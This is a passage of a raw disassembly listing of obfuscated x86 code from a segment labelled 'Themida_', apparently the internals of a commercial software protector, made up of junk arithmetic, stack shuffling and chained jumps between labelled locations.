		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_5556EA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_551D90
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5586D1
; ---------------------------------------------------------------------------


loc_5519FC:				; CODE XREF: Themida_:00556A05j
		push	114Ah
		mov	[esp], ecx
		push	ebp
		push	249512C7h
		pop	ebp
		add	ebp, 37DD3B4Ch
		jmp	loc_552B41
; ---------------------------------------------------------------------------


loc_551A16:				; CODE XREF: Themida_:0055865Dj
		and	ebp, eax
		pop	eax
		xor	ebp, 2F593F85h
		add	eax, ebp
		pop	ebp
		add	eax, ebx
		sub	eax, 2F593E05h
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_557C39
; ---------------------------------------------------------------------------


loc_551A3B:				; CODE XREF: Themida_:00555F66j
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_552C13
; ---------------------------------------------------------------------------


loc_551A4E:				; CODE XREF: Themida_:00559003j
		mov	esi, 4117315Ch
		mov	eax, 46606127h
		sub	eax, esi
		pop	esi
		jmp	loc_554C07
; ---------------------------------------------------------------------------


loc_551A60:				; CODE XREF: Themida_:00559A4Cj
		sub	ebx, edi
		pop	edi
		sub	ebx, ecx
		add	ebx, 4C362FA9h
		jmp	loc_55A420
; ---------------------------------------------------------------------------


loc_551A70:				; CODE XREF: Themida_:00553F04j
		xor	eax, 15CB7EE6h
		jmp	loc_558A7D
; ---------------------------------------------------------------------------


loc_551A7A:				; CODE XREF: Themida_:00553518j
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	37AAh
		mov	[esp], esi
		mov	esi, 319D2BEFh
		sub	eax, 107A366Fh
		jmp	loc_55C020
; ---------------------------------------------------------------------------


loc_551A9B:				; CODE XREF: Themida_:0055C576j
		push	48E10603h
		mov	edx, [esp]
		jmp	loc_5526B5
; ---------------------------------------------------------------------------


loc_551AA8:				; CODE XREF: Themida_:0055BA84j
		or	eax, 6BBF7B48h
		add	eax, 0DD2B3DE0h
		mov	edx, eax
		pop	eax
		push	ebp
		push	eax
		mov	eax, 2F5550C6h
		mov	ebp, eax
		pop	eax
		jmp	loc_557ABE
; ---------------------------------------------------------------------------


loc_551AC4:				; CODE XREF: Themida_:0055AA53j
		shr	eax, 5
		sub	eax, 83477963h
		add	ebx, eax
		jmp	loc_5567AD
; ---------------------------------------------------------------------------


loc_551AD3:				; CODE XREF: Themida_:005548CCj
		mov	ah, 5Dh
		or	dh, ah
		pop	eax
		jmp	loc_55725F
; ---------------------------------------------------------------------------


loc_551ADD:				; CODE XREF: Themida_:005550B2j
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_554F12
; ---------------------------------------------------------------------------


loc_551AE9:				; CODE XREF: Themida_:0055D1FEj
		pop	ebx
		sub	ebx, 4DDB5A59h
		jmp	loc_55AC1C
; ---------------------------------------------------------------------------


loc_551AF5:				; CODE XREF: Themida_:00552774j
		mov	cl, bh
		push	dword ptr [esp]
		jmp	loc_5538BB
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		push	5C62h
		jmp	loc_55B753
; ---------------------------------------------------------------------------


loc_551B0E:				; CODE XREF: Themida_:0055AF75j
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_551B1F:				; CODE XREF: Themida_:005543E9j
		mov	dl, 0E9h
		add	al, dl
		mov	edx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_55C919
; ---------------------------------------------------------------------------


loc_551B32:				; CODE XREF: Themida_:005548D2j
		add	bh, ch
		jmp	loc_558C8F
; ---------------------------------------------------------------------------


loc_551B39:				; CODE XREF: Themida_:0055CF38j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_551B3E:				; CODE XREF: Themida_:00556C9Bj
		inc	ecx
		jmp	loc_55CA34
; ---------------------------------------------------------------------------


loc_551B44:				; CODE XREF: Themida_:0055792Cj
		mov	[esp], eax
		jmp	loc_55995B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55C3FB
; ---------------------------------------------------------------------------


loc_551B55:				; CODE XREF: Themida_:005572D4j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_553B76
; ---------------------------------------------------------------------------


loc_551B64:				; CODE XREF: Themida_:005532C6j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55CFBE
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 58h
		add	al, 0BBh
		sub	al, bl
		sub	al, 0BBh
		push	small 71B3h
		mov	[esp], dx
		mov	dh, 58h
		push	ebx
		mov	bl, 30h
		jmp	loc_55B523
; ---------------------------------------------------------------------------


loc_551B8D:				; CODE XREF: Themida_:00559449j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	esi
		push	661Eh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		jmp	loc_559799
; ---------------------------------------------------------------------------


loc_551BB4:				; CODE XREF: Themida_:0055783Fj
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_551BC0:				; CODE XREF: Themida_:005566E9j
		or	cl, 0A5h
		push	ebx
		mov	bh, 80h
		add	bh, 0A1h
		and	cl, bh
		pop	ebx
		sub	cl, 37h
		push	edx
		jmp	loc_55C5B3
; ---------------------------------------------------------------------------


loc_551BD5:				; CODE XREF: Themida_:0055503Aj
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		mov	edx, 27281F2Ch
		jmp	loc_5538F7
; ---------------------------------------------------------------------------


loc_551BF3:				; CODE XREF: Themida_:00554728j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55240F
; ---------------------------------------------------------------------------


loc_551BFF:				; CODE XREF: Themida_:00552804j
		pop	ebp
		push	ebx
		push	eax
		push	ebx
		push	esi
		mov	esi, 2F1C6E8Ah
		inc	esi
		xor	esi, 35152E2h
		xor	esi, 4474361Eh
		mov	ebx, esi
		pop	esi
		dec	ebx
		shl	ebx, 6
		push	ecx
		mov	ecx, 1C13173Bh
		add	ecx, 230769B4h
		jmp	loc_55A9FA
; ---------------------------------------------------------------------------


loc_551C2E:				; CODE XREF: Themida_:0055520Bj
		mov	ebx, [esp]
		add	esp, 4
		mov	bl, ah
		pop	eax
		jmp	loc_55C890
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		mov	bl, 6Ah
		and	bl, 6
		push	dx
		jmp	loc_55D85B
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	ebp
		push	esp
		pop	ebp
		push	3920h
		mov	[esp], eax
		mov	eax, 54D164F4h
		push	230Fh
		mov	[esp], ebp
		mov	ebp, 276D0E04h
		push	esi
		jmp	loc_554FD7
; ---------------------------------------------------------------------------


loc_551C72:				; CODE XREF: Themida_:0055A78Aj
		or	dword ptr [edi+20h], 483D647Bh
		sub	dword ptr [edi+20h], 0FFFFFFFFh
		xchg	esi, [edi+20h]
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		xor	[edi+20h], esi
		xor	esi, [edi+20h]
		jmp	loc_55D116
; ---------------------------------------------------------------------------


loc_551C91:				; CODE XREF: Themida_:00556EB1j
		push	esi
		mov	esi, 6D6D7F46h
		jmp	loc_552793
; ---------------------------------------------------------------------------


loc_551C9C:				; CODE XREF: Themida_:0055C91Cj
		mov	dl, 7Ah
		push	eax
		push	ecx
		jmp	loc_556105
; ---------------------------------------------------------------------------


loc_551CA5:				; CODE XREF: Themida_:00557F03j
		xchg	eax, ebp
		jmp	loc_5578C5
; ---------------------------------------------------------------------------


loc_551CAB:				; CODE XREF: Themida_:00553AC6j
		pop	esp
		jmp	loc_55CAE3
; ---------------------------------------------------------------------------


loc_551CB1:				; CODE XREF: Themida_:005530A4j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		push	dword ptr [esp]
		jmp	loc_55A2C1
; ---------------------------------------------------------------------------


loc_551CD0:				; CODE XREF: Themida_:00556EF5j
		add	esp, 4
		jmp	loc_5595A1
; ---------------------------------------------------------------------------


loc_551CD8:				; CODE XREF: Themida_:00559095j
		and	esi, 764C37B1h
		or	esi, 2233539Ah
		or	esi, 4504DFAh
		jmp	loc_558F17
; ---------------------------------------------------------------------------


loc_551CEF:				; CODE XREF: Themida_:005584BDj
		xchg	edi, [esp]
		pop	esp
		push	5B4Fh
		mov	[esp], esi
		push	10D1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_557A6D
; ---------------------------------------------------------------------------


loc_551D12:				; CODE XREF: Themida_:005522A3j
		push	edi
		mov	edi, 33BB0F79h
		mov	ecx, 369BB2C2h
		jmp	loc_552590
; ---------------------------------------------------------------------------


loc_551D22:				; CODE XREF: Themida_:005577E9j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_55B501
; ---------------------------------------------------------------------------


loc_551D39:				; CODE XREF: Themida_:0055C581j
		add	esp, 4
		sub	esp, 4
		jmp	loc_5552EB
; ---------------------------------------------------------------------------
unk_551D47	db    0			; CODE XREF: Themida_:0055A9D2j
; ---------------------------------------------------------------------------
		fsubr	dword ptr [ebx+ecx]
		add	al, 0ABh
		jmp	loc_555CB1
; ---------------------------------------------------------------------------


loc_551D52:				; CODE XREF: Themida_:005563A1j
		pop	esp
		push	small 0FC0h
		mov	[esp], dx
		mov	dl, 0E8h
		add	dl, 7Ch
		add	dl, 0E2h
		jmp	loc_553C67
; ---------------------------------------------------------------------------


loc_551D68:				; CODE XREF: Themida_:00554A71j
		add	ecx, 78ABCD20h
		jmp	loc_55B7A5
; ---------------------------------------------------------------------------


loc_551D73:				; CODE XREF: Themida_:0055D689j
		mov	[esp], ecx
		mov	ecx, 3270387Dh
		jmp	loc_554293
; ---------------------------------------------------------------------------


loc_551D80:				; CODE XREF: Themida_:0055A33Aj
		add	esi, eax
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_552C83
; ---------------------------------------------------------------------------


loc_551D90:				; CODE XREF: Themida_:005519F1j
		mov	[esp], edi
		jmp	loc_559E42
; ---------------------------------------------------------------------------


loc_551D98:				; CODE XREF: Themida_:00557732j
		push	esi
		push	24135FF8h
		jmp	loc_55A091
; ---------------------------------------------------------------------------


loc_551DA3:				; CODE XREF: Themida_:00559EE5j
		or	edi, 59D9262Fh
		jmp	loc_55AAD8
; ---------------------------------------------------------------------------


loc_551DAE:				; CODE XREF: Themida_:00552C0Ej
		xor	ch, 0E4h
		and	ch, 1Ch
		push	eax
		mov	al, 0D7h
		jmp	loc_5548BB
; ---------------------------------------------------------------------------


loc_551DBC:				; CODE XREF: Themida_:0055B35Cj
		mov	ecx, eax
		jmp	loc_5532AC
; ---------------------------------------------------------------------------


loc_551DC3:				; CODE XREF: Themida_:0055189Ej
		mov	edi, [esp]
		jmp	loc_556BC1
; ---------------------------------------------------------------------------


loc_551DCB:				; CODE XREF: Themida_:005581F5j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55D2AB
; ---------------------------------------------------------------------------


loc_551DE1:				; CODE XREF: Themida_:0055BCD2j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4E712A9Ch
		mov	edi, 4E712A9Dh
		sub	edi, 20E67C6Ch
		sub	edi, edx
		push	ebp
		mov	ebp, 20E67C6Ch
		add	edi, ebp
		pop	ebp
		jmp	loc_55CB42
; ---------------------------------------------------------------------------


loc_551E0B:				; CODE XREF: Themida_:0055754Cj
		push	esi
		push	edi
		pop	esi
		jmp	loc_5539DC
; ---------------------------------------------------------------------------


loc_551E13:				; CODE XREF: Themida_:005539D7j
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55963B
; ---------------------------------------------------------------------------


loc_551E26:				; CODE XREF: Themida_:00556C7Dj
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_557115
; ---------------------------------------------------------------------------


loc_551E31:				; CODE XREF: Themida_:00557D38j
		pop	ebp
		jmp	loc_552564
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_557F4C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_553618
; ---------------------------------------------------------------------------


loc_551E45:				; CODE XREF: Themida_:005576EBj
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	74A4h
		mov	[esp], ebp
		jmp	loc_5538D9
; ---------------------------------------------------------------------------


loc_551E62:				; CODE XREF: Themida_:00558E95j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55CBDA
; ---------------------------------------------------------------------------


loc_551E74:				; CODE XREF: Themida_:00552E23j
		add	ch, al
		pop	eax
		add	ch, 84h
		jmp	loc_55C8B0
; ---------------------------------------------------------------------------
		db  88h	; ˆ		; CODE XREF: Themida_:0055CB9Bj
		db 0EBh	; ë
		db  59h	; Y
		db 0E9h	; é
		db  6Eh	; n
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551E87:				; CODE XREF: Themida_:0055989Dj
		mov	[esp], eax
		push	ebp
		push	69FF5A39h
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 9600A5C6h
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		sub	dword ptr [esp], 9D8047Ah
		pop	ebx
		add	ebx, 9D8047Ah
		pop	eax
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55BC52
; ---------------------------------------------------------------------------


loc_551EC3:				; CODE XREF: Themida_:0055B086j
		xchg	edi, [esp]
		pop	esp
		imul	ecx
		push	0A28h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55D133
; ---------------------------------------------------------------------------


loc_551ED8:				; CODE XREF: Themida_:00556A17j
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edi, 32C9704Dh
		add	edi, eax
		sub	edi, 32C9704Dh
		pop	eax
		push	esi
		push	edi
		mov	edi, 58157839h
		sub	edi, 1
		neg	edi
		add	edi, 48974FD5h
		jmp	loc_55A1A8
; ---------------------------------------------------------------------------


loc_551F10:				; CODE XREF: Themida_:0055D0C6j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55ABB7
; ---------------------------------------------------------------------------


loc_551F21:				; CODE XREF: Themida_:00559F92j
		mov	edi, eax
		pop	eax
		push	ebp
		mov	ebp, edi
		jmp	loc_558B54
; ---------------------------------------------------------------------------


loc_551F2C:				; CODE XREF: Themida_:00559837j
		or	ebx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_559E0C
; ---------------------------------------------------------------------------


loc_551F37:				; CODE XREF: Themida_:0055295Ej
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_554FFD
; ---------------------------------------------------------------------------


loc_551F48:				; CODE XREF: Themida_:00555D24j
		push	eax
		mov	eax, esp
		push	555h
		mov	[esp], esi
		jmp	loc_556D69
; ---------------------------------------------------------------------------


loc_551F58:				; CODE XREF: Themida_:0055B9D7j
		pop	esi
		or	ecx, 73D74D9Dh
		add	ecx, 0C20A025h
		add	edx, 557D2C00h
		add	edx, ecx
		sub	edx, 557D2C00h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_557F7A
; ---------------------------------------------------------------------------


loc_551F81:				; CODE XREF: Themida_:00553498j
		add	edx, 0EDB7AE7Ah
		add	ebp, edx
		pop	edx
		jmp	loc_55B6DC
; ---------------------------------------------------------------------------


loc_551F8F:				; CODE XREF: Themida_:005548E0j
		xor	esi, 0F77BDFBDh
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55358A
; ---------------------------------------------------------------------------

locret_551FA2:				; CODE XREF: Themida_:00558CAEj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_551FA8:				; CODE XREF: Themida_:0055D606j
		push	edx
		mov	dl, al
		mov	cl, dl
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_5594F5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5588C1
; ---------------------------------------------------------------------------


loc_551FC6:				; CODE XREF: Themida_:005527D8j
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_55ACEC
; ---------------------------------------------------------------------------


loc_551FD0:				; CODE XREF: Themida_:0055CCF6j
		mov	[esp], edx
		jmp	loc_559A72
; ---------------------------------------------------------------------------


loc_551FD8:				; CODE XREF: Themida_:0055AB59j
		push	ebp
		mov	ebp, esp
		jmp	loc_557BAB
; ---------------------------------------------------------------------------


loc_551FE0:				; CODE XREF: Themida_:00555A4Bj
		mov	eax, [esp]
		jmp	loc_558CFA
; ---------------------------------------------------------------------------


loc_551FE8:				; CODE XREF: Themida_:0055D8A4j
		push	4C57h
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		push	ecx
		mov	ecx, 4A3A4C59h
		not	ecx
		push	ebx
		mov	ebx, 46B173Eh
		and	ecx, ebx
		pop	ebx
		sub	ecx, 0B357C68Dh
		mov	esi, ecx
		pop	ecx
		not	esi
		jmp	loc_554209
; ---------------------------------------------------------------------------


loc_552014:				; CODE XREF: Themida_:0055CA27j
		push	5FD9h
		mov	[esp], ebx
		mov	ebx, 51084248h
		sub	ebx, 615D49E4h
		not	ebx
		shl	ebx, 5
		inc	ebx
		or	ebx, 45183A5Eh
		add	ebx, 0CB1D62A1h
		mov	edi, ebx
		pop	ebx
		sub	edi, 0CF07E5Bh
		jmp	loc_5549D5
; ---------------------------------------------------------------------------


loc_552047:				; CODE XREF: Themida_:0055CE32j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55360E
; ---------------------------------------------------------------------------


loc_552056:				; CODE XREF: Themida_:005558A1j
		mov	eax, 5F9A328Bh
		mov	esi, eax
		pop	eax
		neg	esi
		shr	esi, 4
		jmp	loc_55706E
; ---------------------------------------------------------------------------


loc_552068:				; CODE XREF: Themida_:0055212Dj
		push	ebx
		mov	ebx, 7B077F8Eh
		shr	ebx, 5
		add	ebx, 6CC1ADAh
		sub	edx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 594E4CFEh
		push	edi
		mov	edi, 4B8C66C0h
		not	edi
		jmp	loc_55C956
; ---------------------------------------------------------------------------


loc_55208D:				; CODE XREF: Themida_:00557F90j
		add	eax, edx
		sub	eax, 5E6914D4h
		mov	edx, [esp]
		jmp	loc_554865
; ---------------------------------------------------------------------------


loc_55209C:				; CODE XREF: Themida_:0055217Cj
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	edx, 58F64BBDh
		sub	edx, 48A75FE9h
		jmp	loc_5555D0
; ---------------------------------------------------------------------------


loc_5520B6:				; CODE XREF: Themida_:0055C319j
		push	eax
		push	881779h
		pop	eax
		dec	eax
		or	eax, 2D2422CAh
		and	eax, 24A0366Fh
		sub	eax, 24A03668h
		mov	edx, eax
		pop	eax
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_55B08B
; ---------------------------------------------------------------------------


loc_5520DA:				; CODE XREF: Themida_:00554C8Ej
		inc	eax
		add	eax, 792F6274h
		push	ebp
		mov	ebp, 7A406725h
		xor	ebp, 6568030Dh
		or	ebp, 413826B5h
		add	ebp, 137EF8C0h
		and	eax, ebp
		pop	ebp
		inc	eax
		push	ebx
		mov	ebx, 44D63D74h
		dec	ebx
		add	ebx, 1
		shr	ebx, 2
		jmp	loc_559408
; ---------------------------------------------------------------------------


loc_552111:				; CODE XREF: Themida_:005579CFj
		sub	cl, 0A7h
		xor	cl, 15h
		xor	ah, cl
		pop	ecx
		jmp	loc_55A912
; ---------------------------------------------------------------------------


loc_55211F:				; CODE XREF: Themida_:0055C055j
		add	edx, 33EF7C17h
		add	edx, 0AA456D6h
		sub	edx, eax
		jmp	loc_552068
; ---------------------------------------------------------------------------


loc_552132:				; CODE XREF: Themida_:0055D822j
		xor	dl, 39h
		sub	bl, dl
		pop	edx
		push	9DEh
		mov	[esp], eax
		mov	al, 90h
		add	bl, al
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 345060FDh
		xor	ebx, 7A9F1674h
		dec	ebx
		jmp	loc_55C453
; ---------------------------------------------------------------------------


loc_55216D:				; CODE XREF: Themida_:00553B02j
		xor	edx, 5B2868DAh
		xor	edx, 79E07EB6h
		mov	esi, edx
		pop	edx
		jmp	loc_55209C
; ---------------------------------------------------------------------------


loc_552181:				; CODE XREF: Themida_:0055297Ej
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	esi
		push	2
		mov	esi, [esp]
		add	esp, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		jmp	loc_55CA09
; ---------------------------------------------------------------------------


loc_5521B8:				; CODE XREF: Themida_:0055ACBFj
		push	edx
		mov	edx, esp
		jmp	loc_55A870
; ---------------------------------------------------------------------------


loc_5521C0:				; CODE XREF: Themida_:0055D34Cj
		push	dword ptr [esp]
		jmp	loc_55B2CE
; ---------------------------------------------------------------------------
		push	ecx
		jmp	loc_5596A2
; ---------------------------------------------------------------------------


loc_5521CE:				; CODE XREF: Themida_:0055DAD6j
		pop	ebx
		sub	ax, cx
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_555D40
; ---------------------------------------------------------------------------


loc_5521E1:				; CODE XREF: Themida_:0055CA82j
		pop	esp
		mov	[esp], eax
		jmp	loc_553E5C
; ---------------------------------------------------------------------------


loc_5521EA:				; CODE XREF: Themida_:005541CCj
		add	ebp, 318A3546h
		sub	ebp, 37B16961h
		jmp	loc_55366F
; ---------------------------------------------------------------------------
		lodsb
		add	al, 65h
		jmp	loc_55CF84
; ---------------------------------------------------------------------------


loc_552203:				; CODE XREF: Themida_:0055AF92j
		add	esi, 5AB35EA2h
		jmp	loc_55A562
; ---------------------------------------------------------------------------


loc_55220E:				; CODE XREF: Themida_:00554DBCj
		and	esi, 3DFE6BE0h
		add	esi, 0E98ECC7Ah
		sub	edi, esi
		mov	esi, [esp]
		push	eax
		jmp	loc_552B18
; ---------------------------------------------------------------------------


loc_552225:				; CODE XREF: Themida_:00553AD4j
		add	esi, 1F3F15AAh
		jmp	loc_558041
; ---------------------------------------------------------------------------


loc_552230:				; CODE XREF: Themida_:005598A5j
		mov	eax, [esp]
		jmp	loc_55AB5E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		push	esi
		push	ebx
		jmp	loc_55456D
; ---------------------------------------------------------------------------


loc_55225C:				; CODE XREF: Themida_:00554D9Ej
		mov	ebx, 1
		jmp	loc_55B393
; ---------------------------------------------------------------------------


loc_552266:				; CODE XREF: Themida_:0055BE84j
		pop	edx
		jmp	loc_55CB04
; ---------------------------------------------------------------------------


loc_55226C:				; CODE XREF: Themida_:0055A533j
		xor	eax, 0F96670A5h
		mov	esi, eax
		pop	eax
		jmp	loc_55908F
; ---------------------------------------------------------------------------


loc_552279:				; CODE XREF: Themida_:005518ADj
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		add	ebx, eax
		sub	ebx, 68164C5Eh
		push	6637h
		jmp	loc_55236F
; ---------------------------------------------------------------------------


loc_552292:				; CODE XREF: Themida_:00553EE8j
		xchg	eax, [esp]
		jmp	loc_55461E
; ---------------------------------------------------------------------------


loc_55229A:				; CODE XREF: Themida_:0055797Aj
		pop	edi
		push	7Ch
		mov	[esp], ecx
		jmp	loc_551D12
; ---------------------------------------------------------------------------


loc_5522A8:				; CODE XREF: Themida_:0055AA0Dj
		mov	[esp], ecx
		push	esp
		jmp	loc_55A554
; ---------------------------------------------------------------------------


loc_5522B1:				; CODE XREF: Themida_:0055473Dj
		or	ah, 0A6h
		shl	ah, 6
		jmp	loc_5545FA
; ---------------------------------------------------------------------------


loc_5522BC:				; CODE XREF: Themida_:0055261Dj
		xor	edi, ebx
		pop	ebx
		sub	edi, 0FFFFFFFFh
		neg	edi
		xchg	ebx, edi
		not	ebx
		xchg	ebx, edi
		xor	edi, 29316262h
		push	edx
		jmp	loc_555052
; ---------------------------------------------------------------------------


loc_5522D9:				; CODE XREF: Themida_:0055BE27j
		xchg	esi, ecx
		jmp	loc_55C097
; ---------------------------------------------------------------------------


loc_5522E0:				; CODE XREF: Themida_:00552FFFj
		add	eax, 27222BC5h
		sub	ecx, 7D43615Ah
		sub	ecx, eax
		add	ecx, 7D43615Ah
		jmp	loc_555FAE
; ---------------------------------------------------------------------------


loc_5522F8:				; CODE XREF: Themida_:005549F5j
		mov	edx, esp
		jmp	loc_553167
; ---------------------------------------------------------------------------


loc_5522FF:				; CODE XREF: Themida_:0055CEDEj
		pop	esi
		sub	ebx, 763E4CCFh
		push	158h
		mov	[esp], ecx
		mov	cl, 5Bh
		dec	cl
		xchg	bh, cl
		xchg	dh, bh
		not	dh
		xor	bh, dh
		xor	dh, bh
		xor	bh, dh
		xchg	bh, cl
		or	cl, 0E3h
		add	cl, 0DDh
		jmp	loc_55AE31
; ---------------------------------------------------------------------------


loc_55232B:				; CODE XREF: Themida_:00557E75j
		push	edx
		mov	edx, 3BED5EF2h
		mov	ebx, 0CC9711CDh
		add	ebx, 5B3D32D0h
		add	ebx, edx
		jmp	loc_55D907
; ---------------------------------------------------------------------------


loc_552343:				; CODE XREF: Themida_:0055365Bj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_55D8DB
; ---------------------------------------------------------------------------


loc_552357:				; CODE XREF: Themida_:00551969j
		pop	ebx
		jmp	loc_55C018
; ---------------------------------------------------------------------------


loc_55235D:				; CODE XREF: Themida_:0055BA7Dj
		push	3B2748D2h
		pop	ebp
		jmp	loc_55ACA3
; ---------------------------------------------------------------------------


loc_552368:				; CODE XREF: Themida_:0055CA0Ej
		push	edi
		push	esp
		jmp	loc_55D4E4
; ---------------------------------------------------------------------------


loc_55236F:				; CODE XREF: Themida_:0055228Dj
		mov	[esp], eax
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_552377:				; CODE XREF: Themida_:005548B6j
		add	edi, ebp
		pop	ebp
		add	edi, 91E04C7Dh
		add	edx, edi
		pop	edi
		jmp	loc_55A470
; ---------------------------------------------------------------------------


loc_552388:				; CODE XREF: Themida_:0055C5E0j
		push	edi
		push	esi
		mov	esi, 6A2C158Ah
		mov	edi, esi
		pop	esi
		sub	edi, 0F781F65Eh
		sub	ebx, edi
		pop	edi
		add	ebx, edi
		add	ebx, 72AA1F2Ch
		pop	edi
		push	dword ptr [eax]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5523AB:				; CODE XREF: Themida_:00556908j
		dec	dl
		add	dl, 0E6h
		xor	dl, 13h
		jmp	loc_5576B5
; ---------------------------------------------------------------------------


loc_5523B8:				; CODE XREF: Themida_:00554D14j
		xor	edi, 449179D3h
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_554B66
; ---------------------------------------------------------------------------


loc_5523CD:				; CODE XREF: Themida_:005571D0j
		sub	esp, 4
		jmp	loc_55920A
; ---------------------------------------------------------------------------


loc_5523D8:				; CODE XREF: Themida_:00554DDEj
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_553EB4
; ---------------------------------------------------------------------------


loc_5523E3:				; CODE XREF: Themida_:005555F1j
		push	edx
		mov	edx, 6F000A60h
		dec	edx
		push	ebx
		jmp	loc_55688B
; ---------------------------------------------------------------------------


loc_5523F0:				; CODE XREF: Themida_:0055CE0Ej
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_556E8D
; ---------------------------------------------------------------------------


loc_552401:				; CODE XREF: Themida_:005540DBj
		mov	ebx, 3270387Dh
		xor	[esp+4], ebx
		jmp	loc_55A569
; ---------------------------------------------------------------------------


loc_55240F:				; CODE XREF: Themida_:00551BFAj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_55CFE9
; ---------------------------------------------------------------------------


loc_552424:				; CODE XREF: Themida_:0055183Aj
		sub	esi, ebx
		jmp	loc_559902
; ---------------------------------------------------------------------------


loc_55242B:				; CODE XREF: Themida_:0055C4B0j
		pop	ebp
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		movzx	ecx, al
		push	5B86h
		mov	[esp], ecx
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_552448:				; CODE XREF: Themida_:005591D0j
		neg	dl
		dec	dl
		push	ecx
		mov	ch, 0B8h
